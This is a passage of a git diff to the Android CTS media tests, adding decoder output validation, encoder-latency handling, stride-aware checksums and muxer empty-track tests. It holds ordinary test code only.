+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.FileChannel;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+/**
+ * The following test validates decoder for the given input clip. For audio components, we check
+ * if the output buffers timestamp is strictly increasing. If possible the decoded output rms is
+ * compared against a reference value and the error is expected to be within a tolerance of 5%. For
+ * video components, we check if the output buffers timestamp is identical to the sorted input pts
+ * list. Also for video standard post mpeg4, the decoded output checksum is compared against
+ * reference checksum.
+ */
+@RunWith(Parameterized.class)
+public class CodecDecoderValidationTest extends CodecDecoderTestBase {
+    private static final String LOG_TAG = CodecDecoderValidationTest.class.getSimpleName();
+    private static final float RMS_ERROR_TOLERANCE = 1.05f;        // 5%
+
+    private final String[] mSrcFiles;
+    private final String mRefFile;
+    private final float mRmsError;
+    private final long mRefCRC;
+    private final int mSupport;
+
+    public CodecDecoderValidationTest(String mime, String[] srcFiles, String refFile,
+            float rmsError, long refCRC, int support) {
+        super(mime, null);
+        mSrcFiles = srcFiles;
+        mRefFile = refFile;
+        mRmsError = rmsError;
+        mRefCRC = refCRC;
+        mSupport = support;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = false;
+        final boolean needAudio = true;
+        final boolean needVideo = true;
+        // mime, array list of test files (underlying elementary stream is same, except they
+        // are placed in different containers), ref file, rms error, checksum
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
+                        "bbb_340x280_768kbps_30fps_split_non_display_frame_vp9.webm",
+                        "bbb_340x280_768kbps_30fps_vp9.webm"}, null, -1.0f, 4122701060L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
+                        "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm",
+                        "bbb_520x390_1mbps_30fps_vp9.webm"}, null, -1.0f, 1201859039L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2, new String[]{
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts",
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4"}, null, -1.0f,
+                        -1L, CODEC_ALL},
+//                /* TODO(b/163299340) */
+//                {MediaFormat.MIMETYPE_VIDEO_HEVC, new String[]{"bbb_560x280_1mbps_30fps_hevc.mkv"},
+//                        null, -1.0f, 26298353L, CODEC_ALL},
+//                /* TODO(b/163299340) */
+//                {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{"bbb_504x224_768kbps_30fps_avc.mp4"},
+//                        null, -1.0f, 4060874918L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_AUDIO_MPEG, new String[]{"bbb_1ch_16kHz_lame_vbr.mp3"},
+                        "bbb_1ch_16kHz_s16le.raw", 119.256f, -1L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_AUDIO_MPEG, new String[]{"bbb_2ch_44kHz_lame_vbr.mp3"},
+                        "bbb_2ch_44kHz_s16le.raw", 53.066f, -1L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_AUDIO_MPEG, new String[]{"bbb_2ch_44kHz_lame_crc.mp3"},
+                        "bbb_2ch_44kHz_s16le.raw", 104.09f, -1L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_800kbps_30fps_vp9" +
+                        ".webm"}, null, -1.0f, 1319105122L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_1200kbps_30fps_vp9" +
+                        ".webm"}, null, -1.0f, 4128150660L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_1600kbps_30fps_vp9" +
+                        ".webm"}, null, -1.0f, 156928091L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_2000kbps_30fps_vp9" +
+                        ".webm"}, null, -1.0f, 3902485256L, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2, new String[]{
+                        "bbb_642x642_2mbps_30fps_mpeg2.mp4"}, null, -1.0f, -1L, CODEC_ANY},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{
+                        "bbb_642x642_1mbps_30fps_avc.mp4"}, null, -1.0f, 3947092788L, CODEC_ANY},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, new String[]{
+                        "bbb_642x642_1mbps_30fps_vp8.webm"}, null, -1.0f, 516982978L, CODEC_ANY},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, new String[]{
+                        "bbb_642x642_768kbps_30fps_hevc.mp4"}, null, -1.0f, 3018465268L, CODEC_ANY},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
+                        "bbb_642x642_768kbps_30fps_vp9.webm"}, null, -1.0f, 4032809269L, CODEC_ANY},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, new String[]{
+                        "bbb_642x642_768kbps_30fps_av1.mp4"}, null, -1.0f, 3684481474L, CODEC_ANY},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG4, new String[]{
+                        "bbb_130x130_192kbps_15fps_mpeg4.mp4"}, null, -1.0f, -1L, CODEC_ANY},
+        });
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    private short[] setUpAudioReference() throws IOException {
+        File refFile = new File(mInpPrefix + mRefFile);
+        short[] refData;
+        try (FileInputStream refStream = new FileInputStream(refFile)) {
+            FileChannel fileChannel = refStream.getChannel();
+            int length = (int) refFile.length();
+            ByteBuffer refBuffer = ByteBuffer.allocate(length);
+            refBuffer.order(ByteOrder.LITTLE_ENDIAN);
+            fileChannel.read(refBuffer);
+            refData = new short[length / 2];
+            refBuffer.position(0);
+            for (int i = 0; i < length / 2; i++) {
+                refData[i] = refBuffer.getShort();
+            }
+        }
+        return refData;
+    }
+
+    private void verify() throws IOException {
+        if (mRmsError >= 0) {
+            assertTrue(mRefFile != null);
+            short[] refData = setUpAudioReference();
+            float currError = mOutputBuff.getRmsError(refData);
+            float errMargin = mRmsError * RMS_ERROR_TOLERANCE;
+            assertTrue(String.format("rms error too high exp/got %f/%f", errMargin, currError),
+                    currError <= errMargin);
+        } else if (mRefCRC >= 0) {
+            assertEquals("checksum mismatch", mRefCRC, mOutputBuff.getCheckSumImage());
+        }
+    }
+
+    /**
+     * Test decodes and compares decoded output of two files.
+     */
+    @LargeTest
+    @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    public void testDecodeAndValidate() throws IOException, InterruptedException {
+        ArrayList<MediaFormat> formats = null;
+        if (mSupport != CODEC_ALL) {
+            formats = new ArrayList<>();
+            for (String file : mSrcFiles) {
+                formats.add(setUpSource(file));
+                mExtractor.release();
+            }
+        }
+        ArrayList<String> listOfDecoders = selectCodecs(mMime, formats, null, false);
+        if (listOfDecoders.isEmpty()) {
+            if (mSupport == CODEC_OPTIONAL) return;
+            else fail("no suitable codecs found for mime: " + mMime);
+        }
+        final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
+        for (String decoder : listOfDecoders) {
+            OutputManager ref = null;
+            for (String file : mSrcFiles) {
+                decodeToMemory(file, decoder, 0, mode, Integer.MAX_VALUE);
+                String log = String.format("codec: %s, test file: %s:: ", decoder, file);
+                assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
+                assertTrue(log + "no input sent", 0 != mInputCount);
+                assertTrue(log + "output received", 0 != mOutputCount);
+                if (ref == null) ref = mOutputBuff;
+                if (mIsAudio) {
+                    assertTrue("reference output pts is not strictly increasing",
+                            mOutputBuff.isPtsStrictlyIncreasing(mPrevOutputPts));
+                } else if (!mIsInterlaced) {
+                    assertTrue("input pts list and output pts list are not identical",
+                            mOutputBuff.isOutPtsListIdenticalToInpPtsList(false));
+                }
+                if (mIsInterlaced) {
+                    assertTrue(log + "decoder outputs are not identical",
+                            ref.equalsInterlaced(mOutputBuff));
+                } else {
+                    assertTrue(log + "decoder outputs are not identical", ref.equals(mOutputBuff));
+                }
+            }
+            verify();
+        }
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 7a9fde1..8a578f7 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -56,6 +56,8 @@
     private final int mBitrate;
     private final int mFrameRate;
     private final int mMaxBFrames;
+    private int mLatency;
+    private boolean mReviseLatency;
 
     private MediaExtractor mExtractor;
     private MediaCodec mEncoder;
@@ -92,6 +94,8 @@
         mBitrate = bitrate;
         mFrameRate = frameRate;
         mMaxBFrames = 0;
+        mLatency = mMaxBFrames;
+        mReviseLatency = false;
         mAsyncHandleDecoder = new CodecAsyncHandler();
         mAsyncHandleEncoder = new CodecAsyncHandler();
     }
@@ -157,6 +161,10 @@
         resetContext(isAsync, signalEOSWithLastFrame);
         mAsyncHandleEncoder.setCallBack(mEncoder, isAsync);
         mEncoder.configure(encFormat, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+        if (mEncoder.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+            mReviseLatency = true;
+            mLatency = mEncoder.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+        }
         mSurface = mEncoder.createInputSurface();
         assertTrue("Surface is not valid", mSurface.isValid());
         mAsyncHandleDecoder.setCallBack(mDecoder, isAsync);
@@ -254,6 +262,25 @@
     private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
         if (mIsCodecInAsyncMode) {
             if (!hasSeenError() && !mSawEncOutputEOS) {
+                int retry = 0;
+                while (mReviseLatency) {
+                    if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+                        mReviseLatency = false;
+                        int actualLatency = mAsyncHandleEncoder.getOutputFormat()
+                                .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+                        if (mLatency < actualLatency) {
+                            mLatency = actualLatency;
+                            return;
+                        }
+                    } else {
+                        if (retry > CodecTestBase.RETRY_LIMIT) throw new InterruptedException(
+                                "did not receive output format changed for encoder after " +
+                                        CodecTestBase.Q_DEQ_TIMEOUT_US * CodecTestBase.RETRY_LIMIT +
+                                        " us");
+                        Thread.sleep(CodecTestBase.Q_DEQ_TIMEOUT_US / 1000);
+                        retry ++;
+                    }
+                }
                 Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandleEncoder.getOutput();
                 if (element != null) {
                     dequeueEncoderOutput(element.first, element.second);
@@ -265,6 +292,9 @@
                 int outputBufferId = mEncoder.dequeueOutputBuffer(outInfo, timeOutUs);
                 if (outputBufferId >= 0) {
                     dequeueEncoderOutput(outputBufferId, outInfo);
+                } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    mLatency = mEncoder.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_LATENCY, mLatency);
                 }
             }
         }
@@ -296,16 +326,26 @@
                     }
                 }
             }
-        } else if (!mSawDecInputEOS) {
-            enqueueDecoderEOS(mDecoder.dequeueInputBuffer(-1));
+        } else {
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            while (!mSawDecInputEOS) {
+                int outputBufferId =
+                        mDecoder.dequeueOutputBuffer(outInfo, CodecTestBase.Q_DEQ_TIMEOUT_US);
+                if (outputBufferId >= 0) {
+                    dequeueDecoderOutput(outputBufferId, outInfo);
+                }
+                int inputBufferId = mDecoder.dequeueInputBuffer(CodecTestBase.Q_DEQ_TIMEOUT_US);
+                if (inputBufferId != -1) {
+                    enqueueDecoderEOS(inputBufferId);
+                }
+            }
         }
         if (mIsCodecInAsyncMode) {
             while (!hasSeenError() && !mSawDecOutputEOS) {
                 Pair<Integer, MediaCodec.BufferInfo> decOp = mAsyncHandleDecoder.getOutput();
                 if (decOp != null) dequeueDecoderOutput(decOp.first, decOp.second);
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -318,8 +358,7 @@
                     dequeueDecoderOutput(outputBufferId, outInfo);
                 }
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -347,8 +386,7 @@
                 // check decoder EOS
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
                 // encoder output
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -370,8 +408,7 @@
                 // check decoder EOS
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
                 // encoder output
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 1350d6f..795ff91 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -283,11 +283,37 @@
     }
 
     void checksum(ByteBuffer buf, int size) {
+        checksum(buf, size, 0, 0, 0);
+    }
+
+    void checksum(ByteBuffer buf, int size, int width, int height, int stride) {
         int cap = buf.capacity();
         assertTrue("checksum() params are invalid: size = " + size + " cap = " + cap,
                 size > 0 && size <= cap);
         if (buf.hasArray()) {
-            mCrc32UsingBuffer.update(buf.array(), buf.position() + buf.arrayOffset(), size);
+            if (width > 0 && height > 0 && stride > 0) {
+                int offset = buf.position() + buf.arrayOffset();
+                byte[] bb = new byte[width * height];
+                for (int i = 0; i < height; ++i) {
+                    System.arraycopy(buf.array(), offset, bb, i * width, width);
+                    offset += stride;
+                }
+                mCrc32UsingBuffer.update(bb, 0, width * height);
+            } else {
+                mCrc32UsingBuffer.update(buf.array(), buf.position() + buf.arrayOffset(), size);
+            }
+        } else if (width > 0 && height > 0 && stride > 0) {
+            // Checksum only the Y plane
+            int pos = buf.position();
+            int offset = pos;
+            byte[] bb = new byte[width * height];
+            for (int i = 0; i < height; ++i) {
+                buf.position(offset);
+                buf.get(bb, i * width, width);
+                offset += stride;
+            }
+            mCrc32UsingBuffer.update(bb, 0, width * height);
+            buf.position(pos);
         } else {
             int pos = buf.position();
             final int rdsize = Math.min(4096, size);
@@ -404,9 +430,10 @@
 
     float getRmsError(short[] refData) {
         long totalErrorSquared = 0;
-        assertTrue(0 == (memory.length & 1));
-        short[] shortData = new short[memory.length / 2];
-        ByteBuffer.wrap(memory).order(ByteOrder.LITTLE_ENDIAN).asShortBuffer().get(shortData);
+        assertTrue(0 == (memIndex & 1));
+        short[] shortData = new short[memIndex / 2];
+        ByteBuffer.wrap(memory, 0, memIndex).order(ByteOrder.LITTLE_ENDIAN).asShortBuffer()
+                .get(shortData);
         if (refData.length != shortData.length) return Float.MAX_VALUE;
         for (int i = 0; i < shortData.length; i++) {
             int d = shortData[i] - refData[i];
@@ -483,8 +510,13 @@
     static final boolean ENABLE_LOGS = false;
     static final int PER_TEST_TIMEOUT_LARGE_TEST_MS = 300000;
     static final int PER_TEST_TIMEOUT_SMALL_TEST_MS = 60000;
-    static final long Q_DEQ_TIMEOUT_US = 5000;
     static final int UNSPECIFIED = 0;
+    static final int CODEC_ALL = 0; // All codecs should support
+    static final int CODEC_ANY = 1; // Atleast one codec should support
+    static final int CODEC_OPTIONAL = 2; // Codec support is optional
+    // Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
+    static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
+    static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
     static final String mInpPrefix = WorkDir.getMediaDirString();
     static final PackageManager pm =
             InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
@@ -832,8 +864,21 @@
                     }
                 }
             }
-        } else if (!mSawInputEOS) {
-            enqueueEOS(mCodec.dequeueInputBuffer(-1));
+        } else {
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            while (!mSawInputEOS) {
+                int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+                if (outputBufferId >= 0) {
+                    dequeueOutput(outputBufferId, outInfo);
+                } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    mOutFormat = mCodec.getOutputFormat();
+                    mSignalledOutFormatChanged = true;
+                }
+                int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                if (inputBufferId != -1) {
+                    enqueueEOS(inputBufferId);
+                }
+            }
         }
     }
 
@@ -1039,8 +1084,11 @@
         return format.containsKey("csd-0");
     }
 
-    void flattenBufferInfo(MediaCodec.BufferInfo info) {
-        flatBuffer.putInt(info.size).putInt(info.flags & ~MediaCodec.BUFFER_FLAG_END_OF_STREAM)
+    void flattenBufferInfo(MediaCodec.BufferInfo info, boolean isAudio) {
+        if (isAudio) {
+            flatBuffer.putInt(info.size);
+        }
+        flatBuffer.putInt(info.flags & ~MediaCodec.BUFFER_FLAG_END_OF_STREAM)
                 .putLong(info.presentationTimeUs);
         flatBuffer.flip();
     }
@@ -1111,14 +1159,20 @@
     void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
         if (info.size > 0 && mSaveToMem) {
             ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
-            mOutputBuff.checksum(buf, info.size);
-            flattenBufferInfo(info);
+            flattenBufferInfo(info, mIsAudio);
             mOutputBuff.checksum(flatBuffer, flatBuffer.limit());
             if (mIsAudio) {
+                mOutputBuff.checksum(buf, info.size);
                 mOutputBuff.saveToMemory(buf, info);
             } else {
                 // tests both getOutputImage and getOutputBuffer. Can do time division
                 // multiplexing but lets allow it for now
+                MediaFormat format = mCodec.getOutputFormat();
+                int width = format.getInteger(MediaFormat.KEY_WIDTH);
+                int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+                int stride = format.getInteger(MediaFormat.KEY_STRIDE);
+                mOutputBuff.checksum(buf, info.size, width, height, stride);
+
                 Image img = mCodec.getOutputImage(bufferIndex);
                 assertTrue(img != null);
                 mOutputBuff.checksum(img);
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index e5cc44c..e6160bb 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -151,7 +151,9 @@
             /* TODO(b/156571486) */
             if (encoder.equals("c2.android.hevc.encoder") ||
                     encoder.equals("OMX.google.h264.encoder") ||
-                    encoder.equals("c2.android.avc.encoder")) {
+                    encoder.equals("c2.android.avc.encoder") ||
+                    encoder.equals("c2.android.vp8.encoder") ||
+                    encoder.equals("c2.android.vp9.encoder")) {
                 Log.d(LOG_TAG, "test skipped due to b/156571486");
                 mCodec.release();
                 continue;
diff --git a/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java b/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
index cee70e0..8cc987e 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
@@ -681,23 +681,12 @@
         public void testIfInvalidDataSourceIsRejectedBySetDataSource() throws IOException {
             MediaExtractor extractor = new MediaExtractor();
             TestMediaDataSource dataSource =
-                    TestMediaDataSource.fromString(mInpPrefix + mInpMedia, true, false);
+                    TestMediaDataSource.fromString(mInpPrefix + mInpMedia, false, true);
             try {
-                try {
-                    extractor.setDataSource(dataSource);
-                    fail("setDataSource succeeds with malformed media data source");
-                } catch (Exception e) {
-                    // expected
-                }
-                assertTrue(dataSource.isClosed());
-                dataSource = TestMediaDataSource.fromString(mInpPrefix + mInpMedia, false, true);
-
-                try {
-                    extractor.setDataSource(dataSource);
-                    fail("setDataSource succeeds with malformed media data source");
-                } catch (Exception e) {
-                    // expected
-                }
+                extractor.setDataSource(dataSource);
+                fail("setDataSource succeeds with malformed media data source");
+            } catch (Exception e) {
+                // expected
             } finally {
                 assertTrue(dataSource.isClosed());
                 extractor.release();
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index d68741c..dd5f795 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -1059,6 +1059,15 @@
             }
         }
 
+        @Test
+        public void testSimpleMuxNative() {
+            Assume.assumeTrue("TODO(b/146421018)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            Assume.assumeTrue("TODO(b/146923287)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+        }
+
         /* Does MediaMuxer throw IllegalStateException on missing codec specific data when required.
          * Check if relevant exception is thrown for AAC, AVC, HEVC, and MPEG4
          * codecs that require CSD in MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4.
@@ -1091,14 +1100,161 @@
                 }
             }
         }
+    }
+
+    @LargeTest
+    @RunWith(Parameterized.class)
+    public static class TestAddEmptyTracks {
+        private final List<String> mimeListforTypeMp4 =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+                        MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        MediaFormat.MIMETYPE_AUDIO_AAC, MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC,
+                        MediaFormat.MIMETYPE_TEXT_SUBRIP);
+        private final List<String> mimeListforTypeWebm =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_VP8, MediaFormat.MIMETYPE_VIDEO_VP9,
+                        MediaFormat.MIMETYPE_AUDIO_VORBIS, MediaFormat.MIMETYPE_AUDIO_OPUS);
+        private final List<String> mimeListforType3gp =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+                        MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_AUDIO_AAC,
+                        MediaFormat.MIMETYPE_AUDIO_AMR_NB, MediaFormat.MIMETYPE_AUDIO_AMR_WB);
+        private final List<String> mimeListforTypeOgg =
+                Arrays.asList(MediaFormat.MIMETYPE_AUDIO_OPUS);
+        private String mMime;
+        private String mOutPath;
+
+        public TestAddEmptyTracks(String mime) {
+            mMime = mime;
+        }
+
+        @Before
+        public void prologue() throws IOException {
+            mOutPath = File.createTempFile("tmp", ".out").getAbsolutePath();
+        }
+
+        @After
+        public void epilogue() {
+            new File(mOutPath).delete();
+        }
+
+        private boolean isMimeContainerPairValid(int format) {
+            boolean result = false;
+            if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4)
+                result = mimeListforTypeMp4.contains(mMime);
+            else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM) {
+                return mimeListforTypeWebm.contains(mMime);
+            } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+                result = mimeListforType3gp.contains(mMime);
+            } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_OGG) {
+                result = mimeListforTypeOgg.contains(mMime);
+            }
+            return result;
+        }
+
+        @Parameterized.Parameters(name = "{index}({0})")
+        public static Collection<Object[]> input() {
+            return Arrays.asList(new Object[][]{
+                    // Video
+                    {MediaFormat.MIMETYPE_VIDEO_H263},
+                    {MediaFormat.MIMETYPE_VIDEO_AVC},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC},
+                    {MediaFormat.MIMETYPE_VIDEO_MPEG4},
+                    {MediaFormat.MIMETYPE_VIDEO_VP8},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9},
+                    // Audio
+                    {MediaFormat.MIMETYPE_AUDIO_AAC},
+                    {MediaFormat.MIMETYPE_AUDIO_AMR_NB},
+                    {MediaFormat.MIMETYPE_AUDIO_AMR_WB},
+                    {MediaFormat.MIMETYPE_AUDIO_OPUS},
+                    {MediaFormat.MIMETYPE_AUDIO_VORBIS},
+                    // Metadata
+                    {MediaFormat.MIMETYPE_TEXT_SUBRIP},
+                    // Image
+                    {MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC}
+            });
+        }
 
         @Test
-        public void testSimpleMuxNative() {
-            Assume.assumeTrue("TODO(b/146421018)",
-                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
-            Assume.assumeTrue("TODO(b/146923287)",
-                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
-            assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+        public void testEmptyVideoTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("video/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyVideoTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyAudioTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("audio/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 12000);
+                    mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 2);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyAudioTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyMetaDataTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("application/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyMetaDataTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyImageTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("image/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyImageTrack : unexpected exception : " + e.getMessage());
+                }
+            }
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index ee0339c..27f0429 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-1.9/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-1.10/");
         }
     }
 }
\ No newline at end of file
